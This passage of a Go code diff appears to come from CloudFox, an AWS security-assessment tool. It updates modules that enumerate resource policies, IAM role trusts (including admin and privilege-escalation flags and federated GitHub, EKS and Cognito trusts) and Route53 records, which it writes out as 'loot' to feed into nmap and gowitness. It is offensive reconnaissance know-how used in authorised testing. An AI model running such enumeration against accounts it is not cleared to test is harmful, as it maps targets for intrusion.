if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(f.FunctionArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(f.FunctionName),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
cloudFoxEFSClient := InitFileSystemsClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
ListFileSystems, err := sdk.CachedDescribeFileSystems(cloudFoxEFSClient.EFSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, fs := range ListFileSystems {
var isPublic string
var statementSummaryInEnglish string
var isInteresting string = "No"
fsPolicy, err := sdk.CachedDescribeFileSystemPolicy(cloudFoxEFSClient.EFSClient, aws.ToString(fs.FileSystemId), r, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
continue
}
if fsPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
if !fsPolicy.IsEmpty() {
for i, statement := range fsPolicy.Statement {
prefix := ""
if len(fsPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(fs.FileSystemArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(fs.Name),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func isResourcePolicyInteresting(statementSummaryInEnglish string) bool {
// check if the statement has any of the following items, but make sure the check is case insensitive
// if it does, then return true
// if it doesn't, then return false
if //(strings.Contains(strings.ToLower(statementSummaryInEnglish), "*") && !strings.Contains(strings.ToLower(statementSummaryInEnglish), "denied")) ||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("Everyone")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), "denied")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalOrgID")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalAccount")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalOrgPaths")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("role")) ||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("root")) ||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:arn")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("SourceArn"))) ||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:arn")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("SourceAccount"))) {
return true
}
return false
}
+356 -94
View File
@@ -1,17 +1,18 @@
package aws
import (
"context"
"encoding/json"
"errors"
"fmt"
"net/url"
"path/filepath"
"regexp"
"sort"
"strconv"
"strings"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/iam/types"
@@ -21,103 +22,386 @@ import (
type RoleTrustsModule struct {
// General configuration data
IAMClient iam.ListRolesAPIClient
IAMClient sdk.AWSIAMClientInterface
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
Caller sts.GetCallerIdentityOutput
AWSProfile string
Goroutines int
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
SkipAdminCheck bool
WrapTable bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
// Main module data
AnalyzedRoles []AnalyzedRole
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
type AnalyzedRole struct {
roleARN *string
trustsDoc trustPolicyDocument
// trustType string // UNUSED FIELD, PLEASE REVIEW
Admin string
CanPrivEsc string
}
type trustPolicyDocument struct {
Version string `json:"Version"`
Statement []RoleTrustStatementEntry `json:"Statement"`
}
type RoleTrustStatementEntry struct {
Sid string `json:"Sid"`
Effect string `json:"Effect"`
Principal struct {
AWS ListOfPrincipals `json:"AWS"`
Service ListOfPrincipals `json:"Service"`
Federated ListOfPrincipals `json:"Federated"`
} `json:"Principal"`
Action string `json:"Action"`
Condition struct {
StringEquals struct {
StsExternalID string `json:"sts:ExternalId"`
SAMLAud string `json:"SAML:aud"`
OidcEksSub string `json:"OidcEksSub"`
OidcEksAud string `json:"OidcEksAud"`
CognitoAud string `json:"cognito-identity.amazonaws.com:aud"`
} `json:"StringEquals"`
StringLike struct {
TokenActionsGithubusercontentComSub ListOfPrincipals `json:"token.actions.githubusercontent.com:sub"`
TokenActionsGithubusercontentComAud string `json:"token.actions.githubusercontent.com:aud"`
OidcEksSub string `json:"OidcEksSub"`
OidcEksAud string `json:"OidcEksAud"`
} `json:"StringLike"`
ForAnyValueStringLike struct {
CognitoAMR string `json:"cognito-identity.amazonaws.com:amr"`
} `json:"ForAnyValue:StringLike"`
} `json:"Condition"`
}
func (m *RoleTrustsModule) PrintRoleTrusts(outputFormat string, outputDirectory string, verbosity int) {
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "role-trusts"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating role trusts for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
localAdminMap := make(map[string]bool)
fmt.Printf("[%s][%s] Enumerating role trusts for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
//fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
m.getAllRoleTrusts()
m.printPrincipalTrusts(outputFormat, outputDirectory)
m.printServiceTrusts(outputFormat, outputDirectory)
if m.pmapperError == nil {
for i := range m.AnalyzedRoles {
m.AnalyzedRoles[i].Admin, m.AnalyzedRoles[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, m.AnalyzedRoles[i].roleARN)
}
} else {
for i := range m.AnalyzedRoles {
m.AnalyzedRoles[i].Admin, m.AnalyzedRoles[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, m.AnalyzedRoles[i].roleARN, m.iamSimClient, localAdminMap)
}
}
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
principalsHeader, principalsBody := m.printPrincipalTrusts(outputFormat, outputDirectory)
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: principalsHeader,
Body: principalsBody,
Name: "role-trusts-principals",
})
servicesHeader, servicesBody := m.printServiceTrusts(outputFormat, outputDirectory)
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: servicesHeader,
Body: servicesBody,
Name: "role-trusts-services",
})
federatedHeader, federatedBody := m.printFederatedTrusts(outputFormat, outputDirectory)
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: federatedHeader,
Body: federatedBody,
Name: "role-trusts-federated",
})
o.WriteFullOutput(o.Table.TableFiles, nil)
if len(principalsBody) > 0 {
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(principalsBody)))
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
if len(servicesBody) > 0 {
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(servicesBody)))
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
if len(federatedBody) > 0 {
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(federatedBody)))
} else {
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
}
func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirectory string) {
func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
var header []string
var body [][]string
m.output.FullFilename = ""
m.output.Body = nil
m.output.CallingModule = "role-trusts"
m.output.FullFilename = "role-trusts-principals"
m.output.Headers = []string{
"Role",
"Trusted Principal",
"ExternalID",
var column1 string
if m.pmapperError == nil {
header = []string{
"Role",
"Trusted Principal",
"ExternalID",
"IsAdmin?",
"CanPrivEscToAdmin?",
}
} else {
header = []string{
"Role",
"Trusted Principal",
"ExternalID",
"IsAdmin?",
//"CanPrivEscToAdmin?",
}
}
for _, role := range m.AnalyzedRoles {
if len(role.trustsDoc.Statement[0].Principal.AWS) > 0 {
for _, principal := range role.trustsDoc.Statement[0].Principal.AWS {
column1 := aws.ToString(role.roleARN)
for _, statement := range role.trustsDoc.Statement {
for _, principal := range statement.Principal.AWS {
if outputFormat == "wide" {
column1 = aws.ToString(role.roleARN)
} else {
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
}
column2 := principal
column3 := role.trustsDoc.Statement[0].Condition.StringEquals.StsExternalID
m.output.Body = append(m.output.Body, []string{column1, column2, column3})
column3 := statement.Condition.StringEquals.StsExternalID
column4 := role.Admin
column5 := role.CanPrivEsc
if m.pmapperError == nil {
body = append(body, []string{column1, column2, column3, column4, column5})
} else {
body = append(body, []string{column1, column2, column3, column4})
}
}
}
}
m.sortTrustsTablePerTrustedPrincipal()
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
////m.output.OutputSelector(outputFormat)
utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
fmt.Printf("[%s] %s role trusts found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
return header, body
// if len(m.output.Body) > 0 {
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
// ////m.output.OutputSelector(outputFormat)
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
// //internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
}
// } else {
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
// fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirectory string) {
func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
var header []string
var body [][]string
m.output.FullFilename = ""
m.output.Body = nil
m.output.CallingModule = "role-trusts"
m.output.FullFilename = "role-trusts-services"
m.output.Headers = []string{
"Role",
"Trusted Service",
"ExternalID",
var column1 string
if m.pmapperError == nil {
header = []string{
"Role",
"Trusted Service",
"ExternalID",
"IsAdmin?",
"CanPrivEscToAdmin?",
}
} else {
header = []string{
"Role",
"Trusted Service",
"ExternalID",
"IsAdmin?",
//"CanPrivEscToAdmin?",
}
}
for _, role := range m.AnalyzedRoles {
if len(role.trustsDoc.Statement[0].Principal.Service) > 0 {
for _, service := range role.trustsDoc.Statement[0].Principal.Service {
column1 := aws.ToString(role.roleARN)
for _, statement := range role.trustsDoc.Statement {
for _, service := range statement.Principal.Service {
if outputFormat == "wide" {
column1 = aws.ToString(role.roleARN)
} else {
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
}
column2 := service
column3 := role.trustsDoc.Statement[0].Condition.StringEquals.StsExternalID
m.output.Body = append(m.output.Body, []string{column1, column2, column3})
column3 := statement.Condition.StringEquals.StsExternalID
column4 := role.Admin
column5 := role.CanPrivEsc
if m.pmapperError == nil {
body = append(body, []string{column1, column2, column3, column4, column5})
} else {
body = append(body, []string{column1, column2, column3, column4})
}
}
}
}
// sort the rows based on column 2 (service)
sort.SliceStable(body, func(i, j int) bool {
return body[i][1] < body[j][1]
})
//m.sortTrustsTablePerTrustedPrincipal()
return header, body
// if len(m.output.Body) > 0 {
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
// //m.output.OutputSelector(outputFormat)
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
// internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
// } else {
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
}
func (m *RoleTrustsModule) printFederatedTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
var header []string
var body [][]string
m.output.FullFilename = ""
m.output.Body = nil
m.output.CallingModule = "role-trusts"
m.output.FullFilename = "role-trusts-federated"
var column1, column3, column2 string
if m.pmapperError == nil {
header = []string{
"Role",
"Trusted Provider",
"Trusted Subject",
"IsAdmin?",
"CanPrivEscToAdmin?",
}
} else {
header = []string{
"Role",
"Trusted Provider",
"Trusted Subject",
"IsAdmin?",
//"CanPrivEscToAdmin?",
}
}
for _, role := range m.AnalyzedRoles {
if outputFormat == "wide" {
column1 = aws.ToString(role.roleARN)
} else {
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
}
for _, statement := range role.trustsDoc.Statement {
if len(statement.Principal.Federated) > 0 {
column2, column3 = parseFederatedTrustPolicy(statement)
column4 := role.Admin
column5 := role.CanPrivEsc
if m.pmapperError == nil {
body = append(body, []string{column1, column2, column3, column4, column5})
} else {
body = append(body, []string{column1, column2, column3, column4})
}
}
}
}
m.sortTrustsTablePerTrustedPrincipal()
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
fmt.Printf("[%s] %s role trusts found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
return header, body
// if len(m.output.Body) > 0 {
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
// //m.output.OutputSelector(outputFormat)
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
// internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
// } else {
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
}
func parseFederatedTrustPolicy(statement RoleTrustStatementEntry) (string, string) {
var column2, column3 string
if statement.Condition.StringLike.TokenActionsGithubusercontentComAud != "" || len(statement.Condition.StringLike.TokenActionsGithubusercontentComSub) > 0 {
column2 = "GitHub Actions" // (" + statement.Principal.Federated[0] + ")"
trustedRepos := strings.Join(statement.Condition.StringLike.TokenActionsGithubusercontentComSub, "\n")
if trustedRepos == "" {
column3 = "ALL REPOS!!!"
} else {
column3 = trustedRepos
}
} else if statement.Condition.StringEquals.SAMLAud == "https://signin.aws.amazon.com/saml" {
if strings.Contains(statement.Principal.Federated[0], "AWSSSO") {
column2 = "AWS SSO" // (" + statement.Principal.Federated[0] + ")"
} else if strings.Contains(statement.Principal.Federated[0], "Okta") {
column2 = "Okta" // (" + statement.Principal.Federated[0] + ")"
}
column3 = "Not applicable"
} else if statement.Condition.StringEquals.OidcEksAud != "" || statement.Condition.StringEquals.OidcEksSub != "" || statement.Condition.StringLike.OidcEksAud != "" || statement.Condition.StringLike.OidcEksSub != "" {
column2 = "EKS" // (" + statement.Principal.Federated[0] + ")"
if statement.Condition.StringEquals.OidcEksSub != "" {
column3 = statement.Condition.StringEquals.OidcEksSub
} else if statement.Condition.StringLike.OidcEksSub != "" {
column3 = statement.Condition.StringLike.OidcEksSub
} else {
column3 = "ALL SERVICE ACCOUNTS!"
}
} else if statement.Principal.Federated[0] == "cognito-identity.amazonaws.com" {
column2 = "Cognito" // (" + statement.Principal.Federated[0] + ")"
if statement.Condition.ForAnyValueStringLike.CognitoAMR != "" {
column3 = statement.Condition.ForAnyValueStringLike.CognitoAMR
}
} else {
fmt.Printf("[%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
if column2 == "" && strings.Contains(statement.Principal.Federated[0], "oidc.eks") {
column2 = "EKS" // (" + statement.Principal.Federated[0] + ")"
column3 = "ALL SERVICE ACCOUNTS!"
} else if column2 == "" && strings.Contains(statement.Principal.Federated[0], "AWSSSO") {
column2 = "AWS SSO" // (" + statement.Principal.Federated[0] + ")"
}
}
return column2, column3
}
func (m *RoleTrustsModule) sortTrustsTablePerTrustedPrincipal() {
@@ -130,69 +414,47 @@ func (m *RoleTrustsModule) sortTrustsTablePerTrustedPrincipal() {
}
func (m *RoleTrustsModule) getAllRoleTrusts() {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationMarker *string
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
for {
results, err := m.IAMClient.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationMarker,
},
)
for _, role := range ListRoles {
trustsdoc, err := parseRoleTrustPolicyDocument(role)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, role := range results.Roles {
trustsdoc, err := parseRoleTrustPolicyDocument(role)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
m.AnalyzedRoles = append(m.AnalyzedRoles, AnalyzedRole{roleARN: role.Arn, trustsDoc: trustsdoc})
if role.Arn != nil {
m.AnalyzedRoles = append(m.AnalyzedRoles, AnalyzedRole{
roleARN: role.Arn,
trustsDoc: trustsdoc,
Admin: "",
CanPrivEsc: "",
})
}
// Pagination control. After the last page of output, the for loop exits.
if results.IsTruncated {
PaginationMarker = results.Marker
} else {
PaginationMarker = nil
break
}
}
}
type AnalyzedRole struct {
roleARN *string
trustsDoc trustPolicyDocument
trustType string
}
type trustPolicyDocument struct {
Version string `json:"Version"`
Statement []struct {
Sid string `json:"Sid"`
Effect string `json:"Effect"`
Principal struct {
AWS ListOfPrincipals `json:"AWS"`
Service ListOfPrincipals `json:"Service"`
} `json:"Principal"`
Action string `json:"Action"`
Condition struct {
StringEquals struct {
StsExternalID string `json:"sts:ExternalId"`
} `json:"StringEquals"`
} `json:"Condition"`
} `json:"Statement"`
}
func parseRoleTrustPolicyDocument(role types.Role) (trustPolicyDocument, error) {
document, _ := url.QueryUnescape(aws.ToString(role.AssumeRolePolicyDocument))
// These next six lines are a hack, needed because the EKS OIDC json field name is dynamic
// and therefore can't be used to unmarshall in a predictable way. The hack involves replacing
// the random pattern with a predictable one so that we can add the predictable one in the struct
// used to unmarshall.
pattern := `(\w+)\:`
pattern2 := `".[a-zA-Z0-9\-\.]+/id/`
var reEKSSub = regexp.MustCompile(pattern2 + pattern + "sub")
var reEKSAud = regexp.MustCompile(pattern2 + pattern + "aud")
document = reEKSSub.ReplaceAllString(document, "\"OidcEksSub")
document = reEKSAud.ReplaceAllString(document, "\"OidcEksAud")
var parsedDocumentToJSON trustPolicyDocument
_ = json.Unmarshal([]byte(document), &parsedDocumentToJSON)
return parsedDocumentToJSON, nil
+36 -22
View File
@@ -7,17 +7,13 @@ import (
"path/filepath"
"strconv"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/route53"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/fatih/color"
"github.com/sirupsen/logrus"
)
var cyan = color.New(color.FgCyan).SprintFunc()
type Route53Module struct {
// General configuration data
Route53Client *route53.Client
@@ -27,12 +23,13 @@ type Route53Module struct {
OutputFormat string
Goroutines int
AWSProfile string
CommandCounter console.CommandCounter
WrapTable bool
CommandCounter internal.CommandCounter
// Main module data
Records []Record
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -51,14 +48,14 @@ func (m *Route53Module) PrintRoute53(outputFormat string, outputDirectory string
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "route53"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating Route53 for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Enumerating Route53 for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.getRoute53Records()
@@ -86,16 +83,33 @@ func (m *Route53Module) PrintRoute53(outputFormat string, outputDirectory string
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
m.writeLoot(m.output.FilePath, verbosity)
fmt.Printf("[%s] %s DNS records found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s DNS records found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No DNS records found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No DNS records found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
@@ -132,13 +146,13 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
if verbosity > 2 {
if len(route53APublicRecords) > 0 {
fmt.Println()
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("Feed these public zone A records into nmap and something like gowitness or aquatone."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Feed these public zone A records into nmap and something like gowitness or aquatone."))
fmt.Print(route53APublicRecords)
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("End of loot file."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), route53ARecordsPublicZonesFileName)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), route53ARecordsPublicZonesFileName)
err = os.WriteFile(route53ARecordsPrivateZonesFileName, []byte(route53APrivateRecords), 0644)
if err != nil {
@@ -150,13 +164,13 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
if verbosity > 2 {
if len(route53APrivateRecords) > 0 {
fmt.Println()
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("Feed these private zone A records into nmap and something like gowitness or aquatone."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Feed these private zone A records into nmap and something like gowitness or aquatone."))
fmt.Print(route53APrivateRecords)
fmt.Printf("[%s] %s \n", cyan(m.output.CallingModule), green("End of loot file."))
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), route53ARecordsPrivateZonesFileName)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), route53ARecordsPrivateZonesFileName)
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/apigateway"
apiGatewayTypes "github.com/aws/aws-sdk-go-v2/service/apigateway/types"
)
type APIGatewayClientInterface interface {
GetRestApis(context.Context, *apigateway.GetRestApisInput, ...func(*apigateway.Options)) (*apigateway.GetRestApisOutput, error)
}
func RegisterApiGatewayTypes() {
gob.Register([]apiGatewayTypes.RestApi{})
}
// create a CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
func CachedApiGatewayGetRestAPIs(client APIGatewayClientInterface, accountID string, region string) ([]apiGatewayTypes.RestApi, error) {
var PaginationControl *string
var restAPIs []apiGatewayTypes.RestApi
cacheKey := fmt.Sprintf("%s-apigateway-GetRestApis-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]apiGatewayTypes.RestApi), nil
}
for {
